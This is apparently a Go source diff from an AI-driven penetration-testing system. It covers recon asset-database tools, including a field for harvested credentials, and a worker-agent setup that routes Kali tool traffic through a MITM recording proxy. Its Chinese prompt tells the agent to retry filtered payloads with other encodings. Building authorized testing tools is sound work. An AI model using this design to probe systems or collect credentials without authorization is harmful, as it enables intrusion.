t.cs = cs
|
||||
}
|
||||
|
||||
// assetInputItem is one element of the insert_assets "assets" array.
|
||||
type assetInputItem struct {
|
||||
Type string `json:"type"` // root_domain|ip|subdomain|app|service|endpoint
|
||||
|
||||
// ---- root_domain / subdomain ----
|
||||
Domain string `json:"domain"`
|
||||
ICP string `json:"icp"`
|
||||
RecordType string `json:"record_type"`
|
||||
RecordValue []string `json:"record_value"`
|
||||
|
||||
// ---- ip ----
|
||||
IP string `json:"ip"`
|
||||
BoundDomains []string `json:"bound_domains"`
|
||||
OpenPorts []db.PortService `json:"open_ports"`
|
||||
|
||||
// ---- app ----
|
||||
AppName string `json:"app_name"`
|
||||
BundleID string `json:"bundle_id"`
|
||||
Category string `json:"category"`
|
||||
Description string `json:"description"`
|
||||
AppICP string `json:"app_icp"`
|
||||
CompanyID *int64 `json:"company_id"` // explicit company link (app only; others auto-attribute via scope)
|
||||
|
||||
// ---- service (http) ----
|
||||
URL string `json:"url"`
|
||||
Technologies []string `json:"technologies"`
|
||||
StatusCode *int `json:"status_code"`
|
||||
ContentLength *int64 `json:"content_length"`
|
||||
PageTitle string `json:"page_title"`
|
||||
FaviconMMH3 string `json:"favicon_mmh3"`
|
||||
Auth []map[string]any `json:"auth"`
|
||||
ServiceName string `json:"service_name"`
|
||||
ServiceIP string `json:"service_ip"` // optional enrichment IP
|
||||
|
||||
// ---- service (other) ----
|
||||
Port int `json:"port"`
|
||||
Proto string `json:"proto"`
|
||||
|
||||
// ---- endpoint ----
|
||||
Method string `json:"method"`
|
||||
Params []map[string]any `json:"params"`
|
||||
}
|
||||
|
||||
// insertAssets is the unified insert_assets agent tool.
|
||||
func (t *ToolSet) insertAssets() actool.CoreTool {
|
||||
return writeTool(
|
||||
"insert_assets",
|
||||
"发现新资产时立即批量插入资产到资产库。支持一次提交多种资产类型：root_domain/ip/subdomain/app/service/endpoint。\n"+
|
||||
"每条资产的字段说明：\n"+
|
||||
"• root_domain：domain(根域名, 必填)、icp(备案, 可选)\n"+
|
||||
"• ip：ip(IP地址, 必填)、bound_domains([域名])、open_ports([{port,service}])\n"+
|
||||
"• subdomain：domain(子域名, 必填)、record_type(A/AAAA/CNAME等)、record_value(记录值)、icp(可选)\n"+
|
||||
"• app：app_name(应用名, 必填)、bundle_id(bundle id, 可选)、category、description、app_icp、company_id(归属企业 id, 可选)\n"+
|
||||
"• service(http)：url(必填)、technologies([指纹])、status_code、content_length、page_title、favicon_mmh3、auth([{type,username,password,...}])、service_ip\n"+
|
||||
"• service(other)：service_name(必填)、ip或domain(至少一个)、port(必填)、auth([...])\n"+
|
||||
"• endpoint：url(必填)、method(必填)、params([{location,name,value,type}])、service_ip\n"+
|
||||
"auth/technologies/params 都是【追加合并】(append)，不会覆盖原有值。\n"+
|
||||
"返回：{results:[{index,id,type}], errors:[{index,error}]}",
|
||||
obj(map[string]any{
|
||||
"task_id": intp("任务 id（可选，用于关联 task_ids）"),
|
||||
"assets": map[string]any{
|
||||
"type": "array",
|
||||
"description": "资产数组，每个元素对应一条资产记录",
|
||||
"items": obj(map[string]any{
|
||||
"type": map[string]any{
|
||||
"type": "string",
|
||||
"enum": []string{"root_domain", "ip", "subdomain", "app", "service", "endpoint"},
|
||||
"description": "资产类型",
|
||||
},
|
||||
// root_domain / subdomain
|
||||
"domain": str("根域名或子域名（root_domain/subdomain 必填）"),
|
||||
"icp": str("ICP 备案号（可选）"),
|
||||
"record_type": str("DNS 解析类型：A/AAAA/CNAME/MX 等（subdomain 可选）"),
|
||||
"record_value": map[string]any{
|
||||
"type": "array",
|
||||
"items": map[string]any{"type": "string"},
|
||||
"description": "DNS 解析值列表（subdomain 可选，如 [\"1.2.3.4\",\"2.3.4.5\"]）",
|
||||
},
|
||||
// ip
|
||||
"ip": str("IP 地址（ip 类型必填；service/endpoint 类型可填，用于关联 IP）"),
|
||||
"bound_domains": map[string]any{
|
||||
"type": "array",
|
||||
"items": map[string]any{"type": "string"},
|
||||
"description": "该 IP 绑定的域名列表（ip 类型可选）",
|
||||
},
|
||||
"open_ports": map[string]any{
|
||||
"type": "array",
|
||||
"description": "开放端口列表（ip 类型可选）",
|
||||
"items": obj(map[string]any{
|
||||
"port": intp("端口号"),
|
||||
"service": str("服务名称，如 http/ssh/mysql 等（可选）"),
|
||||
}, "port"),
|
||||
},
|
||||
// app
|
||||
"app_name": str("应用名称（app 类型必填）"),
|
||||
"bundle_id": str("Bundle ID（app 类型可选）"),
|
||||
"category": str("应用分类（可选）"),
|
||||
"description": str("应用描述（可选）"),
|
||||
"app_icp": str("应用 ICP 备案（可选）"),
|
||||
"company_id": intp("归属企业 id（app 类型可选；app 无法靠 scope 自动归因，需显式指定。id 由 add_company_scope 返回）"),
|
||||
// service (http)
|
||||
"url": str("完整 URL，含协议和端口（HTTP 服务必填；service_type 自动设为 http）"),
|
||||
"status_code": intp("HTTP 响应状态码，如 200/301/403/404（可选）"),
|
||||
"content_length": map[string]any{
|
||||
"type": "integer",
|
||||
"description": "HTTP 响应体字节数（可选）",
|
||||
},
|
||||
"page_title": str("页面 <title> 内容（可选）"),
|
||||
"favicon_mmh3": str("favicon MMH3 哈希（可选）"),
|
||||
"technologies": map[string]any{
|
||||
"type": "array",
|
||||
"items": map[string]any{"type": "string"},
|
||||
"description": "指纹/技术栈列表，如 [\"Nginx\",\"Vue\",\"Bootstrap\"]（可选）",
|
||||
},
|
||||
"auth": map[string]any{
|
||||
"type": "array",
|
||||
"description": "发现的认证信息列表，每条含 type/username/password 等字段（可选，追加不覆盖）",
|
||||
"items": map[string]any{"type": "object"},
|
||||
},
|
||||
// service (other，非 HTTP)
|
||||
"service_name": str("服务名称，如 ssh/mysql/redis（service 非 HTTP 时必填）"),
|
||||
"port": intp("端口号（service 非 HTTP 时必填）"),
|
||||
// endpoint
|
||||
"method": str("HTTP 方法：GET/POST/PUT/PATCH/DELETE 等（endpoint 必填）"),
|
||||
"params": map[string]any{
|
||||
"type": "array",
|
||||
"description": "请求参数列表，每条含 location(query/body/header/path)/name/value/type（可选，追加不覆盖）",
|
||||
"items": map[string]any{"type": "object"},
|
||||
},
|
||||
}, "type"),
|
||||
},
|
||||
}, "assets"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
if t.as == nil {
|
||||
return actool.Errorf("insert_assets 未启用: AssetStore 未初始化"), nil
|
||||
}
|
||||
var a struct {
|
||||
Assets []assetInputItem `json:"assets"`
|
||||
TaskID int64 `json:"task_id"`
|
||||
}
|
||||
if err := json.Unmarshal(in, &a); err != nil {
|
||||
return actool.Errorf("invalid input: " + err.Error()), nil
|
||||
}
|
||||
// use ToolSet.taskID as fallback
|
||||
taskID := a.TaskID
|
||||
if taskID == 0 {
|
||||
taskID = t.taskID
|
||||
}
|
||||
|
||||
type result struct {
|
||||
Index int `json:"index"`
|
||||
ID int64 `json:"id"`
|
||||
Type string `json:"type"`
|
||||
}
|
||||
type errEntry struct {
|
||||
Index int `json:"index"`
|
||||
Error string `json:"error"`
|
||||
}
|
||||
|
||||
var results []result
|
||||
var errs []errEntry
|
||||
|
||||
for i, item := range a.Assets {
|
||||
typ := strings.TrimSpace(item.Type)
|
||||
var id int64
|
||||
var err error
|
||||
|
||||
switch typ {
|
||||
case "root_domain":
|
||||
id, err = t.as.UpsertRootDomain(db.UpsertRootDomainReq{
|
||||
Domain: item.Domain,
|
||||
ICP: item.ICP,
|
||||
TaskID: taskID,
|
||||
})
|
||||
|
||||
case "ip":
|
||||
id, err = t.as.UpsertIP(db.UpsertIPReq{
|
||||
IP: item.IP,
|
||||
BoundDomains: item.BoundDomains,
|
||||
OpenPorts: item.OpenPorts,
|
||||
TaskID: taskID,
|
||||
})
|
||||
|
||||
case "subdomain":
|
||||
id, err = t.as.UpsertSubdomain(db.UpsertSubdomainReq{
|
||||
Domain: item.Domain,
|
||||
RecordType: item.RecordType,
|
||||
RecordValue: item.RecordValue,
|
||||
ICP: item.ICP,
|
||||
TaskID: taskID,
|
||||
})
|
||||
|
||||
case "app":
|
||||
id, err = t.as.UpsertApp(db.UpsertAppReq{
|
||||
Name: item.AppName,
|
||||
BundleID: item.BundleID,
|
||||
Category: item.Category,
|
||||
Description: item.Description,
|
||||
ICP: item.AppICP,
|
||||
CompanyID: item.CompanyID,
|
||||
TaskID: taskID,
|
||||
})
|
||||
|
||||
case "service":
|
||||
// distinguish HTTP vs other by presence of url
|
||||
if item.URL != "" {
|
||||
// agent may send "ip" or "service_ip" for the enrichment IP; accept both
|
||||
svcIP := item.ServiceIP
|
||||
if svcIP == "" {
|
||||
svcIP = item.IP
|
||||
}
|
||||
id, err = t.as.UpsertHTTPService(db.UpsertHTTPServiceReq{
|
||||
URL: item.URL,
|
||||
Technologies: item.Technologies,
|
||||
StatusCode: item.StatusCode,
|
||||
ContentLength: item.ContentLength,
|
||||
PageTitle: item.PageTitle,
|
||||
FaviconMMH3: item.FaviconMMH3,
|
||||
Auth: item.Auth,
|
||||
IP: svcIP,
|
||||
TaskID: taskID,
|
||||
})
|
||||
} else {
|
||||
id, err = t.as.UpsertOtherService(db.UpsertOtherServiceReq{
|
||||
Domain: item.Domain,
|
||||
IP: item.IP,
|
||||
Port: item.Port,
|
||||
ServiceName: item.ServiceName,
|
||||
Auth: item.Auth,
|
||||
TaskID: taskID,
|
||||
})
|
||||
}
|
||||
|
||||
case "endpoint":
|
||||
id, err = t.as.UpsertEndpoint(db.UpsertEndpointReq{
|
||||
URL: item.URL,
|
||||
Method: item.Method,
|
||||
Params: item.Params,
|
||||
IP: item.ServiceIP,
|
||||
TaskID: taskID,
|
||||
})
|
||||
|
||||
default:
|
||||
errs = append(errs, errEntry{Index: i, Error: "unknown type: " + typ})
|
||||
continue
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errs = append(errs, errEntry{Index: i, Error: err.Error()})
|
||||
continue
|
||||
}
|
||||
results = append(results, result{Index: i, ID: id, Type: typ})
|
||||
t.wrote++
|
||||
t.anchorOwner(id)
|
||||
}
|
||||
|
||||
return jsonResult(map[string]any{
|
||||
"results": results,
|
||||
"errors": errs,
|
||||
})
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
// addCompanyScope writes to company_scope table and triggers asset attribution.
|
||||
func (t *ToolSet) addCompanyScope() actool.CoreTool {
|
||||
return writeTool(
|
||||
"add_company_scope",
|
||||
"把根域名/IP/IP段(CIDR)加入某公司的【资产范围】——加入后系统自动认领所有命中的资产(现有+未来)。\n"+
|
||||
"公司名唯一：company 不存在则新建，已存在则复用(只把范围并进去)。\n"+
|
||||
"scope 一行一条，支持：根域名 / 单个 IP / CIDR 网段(如 1.2.3.0/24)。\n"+
|
||||
"务必给 reason 说明归属依据(whois/证书/ASN 等)。\n"+
|
||||
"护栏：拒绝裸 TLD 与过宽网段(IPv4<=/16、IPv6<=/32)，非法行会被跳过并在 errors 返回。",
|
||||
obj(map[string]any{
|
||||
"company": str("公司名(不存在则新建、存在则复用；名称唯一)"),
|
||||
"scope": str("资产范围，一行一条：根域名 / IP / CIDR"),
|
||||
"reason": str("归属依据(证据/来源)，务必填写"),
|
||||
"logo": str("公司图标 URL(可选；仅新建公司时生效)"),
|
||||
}, "company", "scope"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
if t.cs == nil {
|
||||
return actool.Errorf("add_company_scope 未启用: CompanyStore 未初始化"), nil
|
||||
}
|
||||
var a struct {
|
||||
Company string `json:"company"`
|
||||
Scope string `json:"scope"`
|
||||
Reason string `json:"reason"`
|
||||
Logo string `json:"logo"`
|
||||
}
|
||||
if err := json.Unmarshal(in, &a); err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
if strings.TrimSpace(a.Company) == "" {
|
||||
return actool.Errorf("company 不能为空"), nil
|
||||
}
|
||||
companyID, _, err := t.cs.UpsertCompany(a.Company, a.Logo)
|
||||
if err != nil {
|
||||
return actool.Errorf("创建/获取公司失败: " + err.Error()), nil
|
||||
}
|
||||
lines := splitLines(a.Scope)
|
||||
added, skipped, invalid, errMsgs := t.cs.AddScope(companyID, lines, a.Reason)
|
||||
out := map[string]any{
|
||||
"company_id": companyID,
|
||||
"added": added,
|
||||
"skipped": skipped,
|
||||
"invalid": invalid,
|
||||
}
|
||||
if len(errMsgs) > 0 {
|
||||
out["errors"] = errMsgs
|
||||
}
|
||||
return jsonResult(out)
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
// listAssets lets an agent query the asset table.
|
||||
func (t *ToolSet) listAssets() actool.CoreTool {
|
||||
return readTool(
|
||||
"list_assets",
|
||||
"查询资产库。支持 DSL 表达式搜索、按 id/ids 直接取，分页。\n"+
|
||||
"DSL 语法：field=value 模糊(ILIKE) | field==value 精确 | field!=value 排除 | port>80 数字比较 | 裸词=全文模糊。\n"+
|
||||
"逻辑运算：AND / OR（关键字，AND 优先级高于 OR），括号分组。\n"+
|
||||
"资产类型用独立的 type 参数过滤，DSL 里不含 type 字段。\n"+
|
||||
"约束：未传 id/ids 时 dsl 必须非空——不允许无条件查询全部资产，必须带查询条件。\n"+
|
||||
"字段一览：\n"+
|
||||
" domain 域名（根域名/子域名/服务域名）\n"+
|
||||
" root_domain 根域名（仅子域名/服务资产有）\n"+
|
||||
" ip IPv4/IPv6 地址\n"+
|
||||
" url 完整 URL（服务/接口）\n"+
|
||||
" page_title 页面标题（HTTP 服务）\n"+
|
||||
" icp ICP 备案号（根域名）\n"+
|
||||
" service_name 服务名称（非 HTTP 服务）\n"+
|
||||
" app_name 应用名称（app 类型）\n"+
|
||||
" method HTTP 方法（接口类型，如 GET/POST）\n"+
|
||||
" service_type HTTP 服务类型：http|other\n"+
|
||||
" record_type DNS 解析类型（子域名，如 A/CNAME）\n"+
|
||||
" technology 指纹/技术栈（数组字段，= 模糊 == 精确）\n"+
|
||||
" port 端口号（整数，支持 > >= < <=）\n"+
|
||||
" status_code HTTP 状态码（整数，支持 > >= < <=）\n"+
|
||||
" company_id 归属企业 id（整数）\n"+
|
||||
" task_id 来源任务 id（整数）\n"+
|
||||
"示例：status_code>=400 AND technology=shiro\n"+
|
||||
" method==POST AND url=/api/admin\n"+
|
||||
" icp=京 OR icp=沪\n"+
|
||||
" (port==80 OR port==443) AND technology=nginx",
|
||||
obj(map[string]any{
|
||||
"dsl": str(`DSL 查询表达式，参见工具描述。未传 id/ids 时必须非空。例：status_code>=400 technology=shiro / method==POST url=/api/admin`),
|
||||
"type": str("资产类型过滤：root_domain|ip|subdomain|app|service|endpoint（独立字段，可与 dsl 叠加；单独 type 不足以查询，仍需 dsl）"),
|
||||
"id": intp("直接按单个资产 id 取（可选，与 dsl/type 互斥）"),
|
||||
"ids": map[string]any{"type": "array", "items": map[string]any{"type": "integer"}, "description": "直接按多个资产 id 取（可选，与 dsl/type 互斥）"},
|
||||
"limit": intp("返回上限，默认 10（可选）"),
|
||||
"offset": intp("分页偏移，默认 0（可选）"),
|
||||
}),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
if t.as == nil {
|
||||
return actool.Errorf("list_assets 未启用: AssetStore 未初始化"), nil
|
||||
}
|
||||
var a struct {
|
||||
DSL string `json:"dsl"`
|
||||
Type string `json:"type"`
|
||||
ID int64 `json:"id"`
|
||||
IDs []int64 `json:"ids"`
|
||||
Limit int `json:"limit"`
|
||||
Offset int `json:"offset"`
|
||||
}
|
||||
_ = json.Unmarshal(in, &a)
|
||||
if a.Limit <= 0 {
|
||||
a.Limit = 10
|
||||
}
|
||||
|
||||
var assets []*db.Asset
|
||||
var err error
|
||||
switch {
|
||||
case a.ID > 0:
|
||||
assets, err = t.as.GetByIDs([]int64{a.ID})
|
||||
case len(a.IDs) > 0:
|
||||
assets, err = t.as.GetByIDs(a.IDs)
|
||||
case a.DSL != "":
|
||||
assets, err = t.as.QueryDSL(a.DSL, a.Type, a.Limit, a.Offset)
|
||||
default:
|
||||
return actool.Errorf("未传 id/ids 时 dsl 不能为空：不允许无条件查询全部资产，请提供查询条件"), nil
|
||||
}
|
||||
if err != nil {
|
||||
return actool.Errorf("DSL 错误: " + err.Error()), nil
|
||||
}
|
||||
return jsonResult(map[string]any{
|
||||
"count": len(assets),
|
||||
"assets": assets,
|
||||
})
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
// listCompanies lets an agent enumerate companies (企业) with their scope + asset count.
|
||||
func (t *ToolSet) listCompanies() actool.CoreTool {
|
||||
return readTool(
|
||||
"list_companies",
|
||||
"列出资产库中的【企业/公司】及其资产范围(scope)与已归属资产数。用于查看有哪些公司、"+
|
||||
"拿到 company_id（insert_assets 关联 app、list_assets 按 company_id 过滤时用）。"+
|
||||
"可选 search 按公司名模糊过滤(不区分大小写)，留空返回全部。",
|
||||
obj(map[string]any{
|
||||
"search": str("按公司名模糊过滤(可选，不区分大小写)；留空返回全部"),
|
||||
}),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
if t.cs == nil {
|
||||
return actool.Errorf("list_companies 未启用: CompanyStore 未初始化"), nil
|
||||
}
|
||||
var a struct {
|
||||
Search string `json:"search"`
|
||||
}
|
||||
_ = json.Unmarshal(in, &a)
|
||||
cos, err := t.cs.ListCompanies()
|
||||
if err != nil {
|
||||
return actool.Errorf("查询公司失败: " + err.Error()), nil
|
||||
}
|
||||
q := strings.ToLower(strings.TrimSpace(a.Search))
|
||||
type companyOut struct {
|
||||
ID int64 `json:"id"`
|
||||
Name string `json:"name"`
|
||||
AssetCount int `json:"asset_count"`
|
||||
Scope []string `json:"scope"`
|
||||
}
|
||||
out := make([]companyOut, 0, len(cos))
|
||||
for _, c := range cos {
|
||||
if q != "" && !strings.Contains(strings.ToLower(c.Name), q) {
|
||||
continue
|
||||
}
|
||||
scope := make([]string, 0, len(c.Scope))
|
||||
for _, r := range c.Scope {
|
||||
scope = append(scope, r.Raw)
|
||||
}
|
||||
out = append(out, companyOut{ID: c.ID, Name: c.Name, AssetCount: c.AssetCount, Scope: scope})
|
||||
}
|
||||
return jsonResult(map[string]any{"count": len(out), "companies": out})
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
// splitLines splits a multi-line string into non-empty trimmed lines.
|
||||
func splitLines(s string) []string {
|
||||
var out []string
|
||||
for _, line := range strings.Split(s, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line != "" {
|
||||
out = append(out, line)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// WorkerTools returns the tool set for a work agent.
|
||||
func (t *ToolSet) WorkerTools() []actool.CoreTool {
|
||||
return []actool.CoreTool{
|
||||
t.listFindings(), t.listFacts(), t.nodeDetail(),
|
||||
t.addFinding(), t.recordFact(),
|
||||
// cross-work retrieval
|
||||
t.searchAllWorkerTraces(), t.listWorkerTraces(), t.getWorkerTrace(),
|
||||
// asset management (handlers guard nil store internally)
|
||||
t.insertAssets(), t.addCompanyScope(), t.listAssets(), t.listCompanies(),
|
||||
}
|
||||
}
|
||||
|
||||
// MainAgentTools returns the human-interface tool set.
|
||||
func (t *ToolSet) MainAgentTools() []actool.CoreTool {
|
||||
return []actool.CoreTool{
|
||||
t.graphOverview(), t.listFindings(), t.listFacts(), t.nodeDetail(),
|
||||
t.getWorkerOutput(), t.getWorkerTrace(), t.searchAllWorkerTraces(), t.addHint(), t.addIntent(),
|
||||
// asset management (handlers guard nil store internally)
|
||||
t.insertAssets(), t.addCompanyScope(), t.listAssets(),
|
||||
}
|
||||
}
|
||||
|
||||
// AllDomainTools returns the union of all domain tools across all agent types,
|
||||
// deduped by name (mainagent order wins). Used by the server to build a registry
|
||||
// for injecting domain tools into agents (Auto, custom) that don't own a per-task
|
||||
// ToolSet. The caller provides real stores; tools are callable at taskID=0 scope.
|
||||
func (t *ToolSet) AllDomainTools() []actool.CoreTool {
|
||||
seen := map[string]bool{}
|
||||
var out []actool.CoreTool
|
||||
all := append(append(t.MainAgentTools(), t.PlannerTools()...), t.WorkerTools()...)
|
||||
for _, tool := range all {
|
||||
if !seen[tool.Name()] {
|
||||
seen[tool.Name()] = true
|
||||
out = append(out, tool)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
+302
@@ -0,0 +1,302 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/norma/agentcore"
|
||||
"github.com/Autumn-27/norma/harness"
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
"github.com/Autumn-27/norma/memory"
|
||||
"github.com/Autumn-27/norma/permission"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/norma/transcript"
|
||||
)
|
||||
|
||||
// Worker is an LLM work agent (docs §4.4): it claims ONE intent, completes it
|
||||
// with real tools (Bash: kali tooling through the recording proxy), writes the
|
||||
// FACTS it found back into the graph, and stops. It does NOT generate new
|
||||
// directions (that is the planner's job) and does NOT keep exploring toward the
|
||||
// goal on its own. Multiple workers run concurrently as goroutines.
|
||||
// WebSearchOpts is the web-search backend selection the server pushes into each
|
||||
// agent (planner/worker/main). Enabled=false leaves the web_search tool off.
|
||||
// Backend is "ddgs" (no key), "brave-free" (BraveKey required), or "tavily"
|
||||
// (TavilyKey required). It maps directly onto agentcore.Options.
|
||||
// Proxy is a dedicated egress proxy for the search request (http/https/socks5),
|
||||
// independent of the traffic-recording MITM proxy — set it when the search endpoint
|
||||
// is only reachable via a VPN/SOCKS proxy. Empty = direct.
|
||||
type WebSearchOpts struct {
|
||||
Enabled bool
|
||||
Backend string
|
||||
BraveKey string
|
||||
TavilyKey string
|
||||
Proxy string
|
||||
}
|
||||
|
||||
type Worker struct {
|
||||
prov llm.Provider
|
||||
model string
|
||||
workDir string
|
||||
proxyAddr string
|
||||
proxyCACert string // recording proxy's CA cert path (for WebFetch HTTPS verify)
|
||||
webSearch WebSearchOpts // web_search tool backend selection (off by default)
|
||||
mem *memory.Store // cross-engagement tradecraft memory (G4)
|
||||
tx *transcript.Store // raw LLM conversation persistence (nil = off)
|
||||
window int // context window in tokens (for compaction)
|
||||
maxTurns int // max agent turns per run (0 = unlimited)
|
||||
// runTimeout is the wall-clock budget for the main exploration of one intent
|
||||
// (0 = unlimited). When it fires, the run is cut and a settlement round is
|
||||
// forced so already-identified facts get written back instead of being lost.
|
||||
runTimeout time.Duration
|
||||
// extraTools are host-provided tools (e.g. traffic query, oast) appended to
|
||||
// the worker's graph write-back tools.
|
||||
extraTools []actool.CoreTool
|
||||
}
|
||||
|
||||
// SetRunTimeout configures the per-intent wall-clock budget for the main
|
||||
// exploration (0 = unlimited). When it fires, the SDK settlement phase still runs
|
||||
// so facts are never lost to a timeout. Safe to call before Execute.
|
||||
func (w *Worker) SetRunTimeout(run time.Duration) {
|
||||
w.runTimeout = run
|
||||
}
|
||||
|
||||
// settleHardGrace is how far past the soft wall-clock budget (runTimeout) the hard
|
||||
// ctx deadline sits — a backstop for a hung turn; the soft budget handles the
|
||||
// normal case at the turn boundary.
|
||||
const settleHardGrace = 90 * time.Second
|
||||
|
||||
// settleWrapUpPrompt is injected by the SDK settlement phase when a worker hits its
|
||||
// turn/time budget: stop probing, write back what was found, then end with a
|
||||
// plain-text one-liner (which becomes this run's displayed result).
|
||||
const settleWrapUpPrompt = "你即将因预算耗尽被终止。不要再运行任何命令/探测。请依次：(1) 把你上面已识别但还没写回的内容逐条写回——新资产用 insert_assets、探索结论/事实用 record_fact、确认漏洞用 report_finding；(2) **最后单独用一句话纯文本**总结你做了什么、得到哪些关键结论（这句会作为本次运行的结果展示，务必输出）。"
|
||||
|
||||
// SetMemory enables cross-engagement tradecraft memory (RecallMemory/RecordMemory
|
||||
// tools + auto-injection of relevant memories, docs §8 G4).
|
||||
func (w *Worker) SetMemory(m *memory.Store) { w.mem = m }
|
||||
|
||||
func NewWorker(prov llm.Provider, model, workDir string, tx *transcript.Store, window, maxTurns int, extra ...actool.CoreTool) *Worker {
|
||||
return &Worker{prov: prov, model: model, workDir: workDir, tx: tx, window: window, maxTurns: maxTurns, extraTools: extra}
|
||||
}
|
||||
|
||||
// SetProxy configures the recording proxy address that workers route target
|
||||
// traffic through, plus the CA cert path WebFetch trusts to verify HTTPS through
|
||||
// that MITM proxy. Empty addr disables the hint.
|
||||
func (w *Worker) SetProxy(addr, caCert string) { w.proxyAddr, w.proxyCACert = addr, caCert }
|
||||
|
||||
// SetWebSearch selects the web_search backend for this worker (off by default).
|
||||
func (w *Worker) SetWebSearch(o WebSearchOpts) { w.webSearch = o }
|
||||
|
||||
// proxyEnv builds the Bash-subprocess env that routes child-command HTTP through
|
||||
// the recording proxy and makes the common toolchain trust its MITM CA — so tools
|
||||
// need no manual -x/--proxy/-k. Each ecosystem reads a different CA var (verified
|
||||
// empirically): SSL_CERT_FILE→curl/urllib/Go/openssl, REQUESTS_CA_BUNDLE→python
|
||||
// requests (it ignores SSL_CERT_FILE), CURL_CA_BUNDLE→curl, GIT_SSL_CAINFO→git,
|
||||
// NODE_EXTRA_CA_CERTS→node; NODE_USE_ENV_PROXY makes Node 24+ honor the proxy vars.
|
||||
// Empty proxyAddr → nil (direct, unchanged env).
|
||||
func proxyEnv(proxyAddr, caCert string) []string {
|
||||
if proxyAddr == "" {
|
||||
return nil
|
||||
}
|
||||
env := []string{
|
||||
"HTTP_PROXY=" + proxyAddr, "HTTPS_PROXY=" + proxyAddr,
|
||||
"http_proxy=" + proxyAddr, "https_proxy=" + proxyAddr,
|
||||
"NODE_USE_ENV_PROXY=1", // Node 24+: honor HTTP(S)_PROXY in built-in fetch/http
|
||||
}
|
||||
if caCert != "" {
|
||||
env = append(env,
|
||||
"SSL_CERT_FILE="+caCert,
|
||||
"CURL_CA_BUNDLE="+caCert,
|
||||
"REQUESTS_CA_BUNDLE="+caCert,
|
||||
"GIT_SSL_CAINFO="+caCert,
|
||||
"NODE_EXTRA_CA_CERTS="+caCert,
|
||||
)
|
||||
}
|
||||
return env
|
||||
}
|
||||
|
||||
// workerDefaultTmpl is the built-in EDITABLE body (段 [A]) of the worker system
|
||||
// prompt, seeded into agent_prompts. The trafficTool block and the 中间产物输出规约
|
||||
// are NOT here — they are code-owned and appended by workerSystem after rendering
|
||||
// (段 [B]/[C]), so editing the DB body can never drop them.
|
||||
const workerDefaultTmpl = `你是一个授权渗透测试系统的"执行者"(work agent)。你领到【一条意图】(一句话探索方向)，唯一职责是：**完成这一条意图、把发现的事实写回知识图谱，然后停止返回。**
|
||||
|
||||
铁律（务必遵守）：
|
||||
1. **只做这一条意图**。意图边界就是你的红线。指纹意图就只做指纹识别，不要顺手去枚举端点、爆破目录、扒 JS 找 API、测漏洞——那些是【别的意图】的事，由规划者去派别的 worker。
|
||||
2. **你不负责"探索方向"**。发现了值得继续追的新线索，不要自己接着打；只要把它写回图，规划者会读到、自己生成新意图。生成探索方向是规划者的职责，不是你的。
|
||||
3. **穷尽后再返回，别在第一个障碍前放弃**。判"意图达成"的标准是【你已把这条方向真正探透】：初次尝试被拦（一个 payload 被过滤、一个端点 404、一个注入点没回显）不等于此路不通——先换编码/换方法/换参数/换路径把这条意图的合理手段走完，再下结论。**但边界不变**：穷尽的只是【这一条意图内部】的手段，绝不是顺手去做别的意图（枚举别的端点、测别的漏洞）；那些仍是规划者派别的 worker 的事。真正探透了、或确认此路不通了，就立即写回并返回，别因为"任务总目标还没达成"就继续，也别为凑步数在已探尽的方向空转。
|
||||
4. **边发现边写回，并且写对地方**。每得出一个结果就立刻写回（别攒到最后，否则步数耗尽全丢）。结果只算写进图里的，活在你脑子/文字里的不算。**两张图分清楚**：
|
||||
- **发现新资产/资源** → insert_assets 写【资产图】（登记资产本身：endpoint / parameter / tech 指纹 / service / 凭据 / 子域 等）。资产的结构化属性写在它自己身上：站点/接口的状态码/标题/body 长度/content_type 放 props.http，技术栈登记为 type=tech 节点。多个资产用 insert_assets 的 assets 数组一次批量登记。
|
||||
- **得出探索结论/事实**（含指纹/枚举等正向结论，和"端口关闭"、"该参数不可注入"、"未发现登录入口"等否定结论）→ record_fact 写【探索图】（传 intent_id）。**一次探索的多个观察汇总成【一条】事实**：summary 写总结性一句话，detail 写相关细节（技术栈、状态码、响应特征等都塞进这一条的 detail）——**不要一个属性一条事实**，一条意图通常只产出一条事实，拆太碎会让图谱无限膨胀。真有多条【彼此不同】的结论才用 facts 数组一次写。【新增】**只写增量**：写回前先扫一眼上方【全局探索态势】里的 recent_facts——只写你这次【新得到】的结论，别把图里已有的事实换个措辞再记一遍（重复事实会让图谱膨胀、误导规划者以为有新进展）。若你的观察只是印证了已有 fact 而无新增，就不必再记一条。
|
||||
- **确认漏洞** → report_finding 写【探索图】（含 PoC，传 intent_id）。
|
||||
|
||||
可用工具：
|
||||
- insert_assets：登记新资产（资产图）。**你只传原始信息，key 与父子关联由代码算**：新接口→传完整 url+method（代码自动建 domain→site→endpoint、自动抽 URL 里的 query 参数，body/header 参数放 params）；指纹→type=tech,name=技术名,on_url=站点地址,props填{version,category}。多个资产放 assets 数组一次批量登记。属性写在资产自己的 props 上，探索结论不要写这里。
|
||||
- record_fact：把探索【事实/结论】写入探索图并连到意图（传 intent_id）。正向/否定结论、观察、判断用它；**一次探索的多个观察汇总成一条事实**（summary 总结一句话 + detail 放细节），不要一个属性一条。真有多条不同结论才用 facts 数组。**只写你真实看到的**：给 evidence（一行关键证据：命令+关键输出，简洁，别粘大段——细节在 detail）、标 confidence（observed 直接看到 / inferred 推断）；**否定结论**（不可注入/端口关闭等）尤其要给证据、证据弱就标 inferred，别让错的否定误导规划者放弃方向。
|
||||
